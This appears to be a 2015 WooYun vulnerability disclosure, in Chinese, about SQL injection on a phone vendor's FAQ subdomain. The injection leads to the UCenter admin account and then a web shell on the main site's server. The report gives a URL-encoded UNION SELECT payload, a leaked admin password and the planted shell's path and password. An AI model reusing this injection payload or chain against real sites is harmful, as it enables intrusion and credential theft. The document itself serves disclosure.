当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123910

漏洞标题：小辣椒手机某分站SQL注入导致主站Getshell

相关厂商：xiaolajiao.com

漏洞作者： mango

提交时间：2015-07-07 10:46

修复时间：2015-08-21 11:30

公开时间：2015-08-21 11:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-07： 细节已通知厂商并且等待厂商处理中
2015-07-07： 厂商已经确认，细节仅向厂商公开
2015-07-17： 细节向核心白帽子及相关领域专家公开
2015-07-27： 细节向普通白帽子公开
2015-08-06： 细节向实习白帽子公开
2015-08-21： 细节向公众公开

简要描述：

详细说明：

http://www.xiaolajiao.com/robots.txt
http://faq.xiaolajiao.com/从这说起 TIPASK 存在注入
注入出密码是 admin admin 但是登陆不了
仔细看了看发现整合了UC的 那么爆出配置文件 

http://faq.xiaolajiao.com/?question/ajaxsearch/sst'  %20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%3
7%2c%38%2c%63%6f%6e%63%61%74%28%30%78%37%63%2c%6b%2c%30%78%37%63%2c%76%2c%30%78%
37%63%29%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37
%2c%31%38%2c%31%39%2c%32%30%2c%32%31%20%66%72%6f%6d%20%66%61%71%5f%73%65%74%74%6
9%6e%67%20%23


AOGEXXAMY10B3TV}0A3RQYO.png


如图 发现密码是 shouji@119 尝试登录后台创始人
http://account.xiaolajiao.com/uc_server (和主站同服)
http://bbs.xiaolajiao.com/uc_server (不同服)
都可以登录

`_X2UZR}PYICQ03AQCLVOH9.png


然后利用

http://wooyun.org/bugs/wooyun-2014-062388

成功shell
http://account.xiaolajiao.com/uc_server/x.php 密码c1

`Z@M]KEELK]FHXZ4$C4Z}{2.png


和主站同服

UENYHHBDY@AUXJ[460BG885.png


~IFB8HXY@6)@805UD]4LI2E.png

漏洞证明：

~IFB8HXY@6)@805UD]4LI2E.png

修复方案：

送手机么~

版权声明：转载请注明来源 mango@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-07-07 11:29

厂商回复：

谢谢提供安全检测！

最新状态：

暂无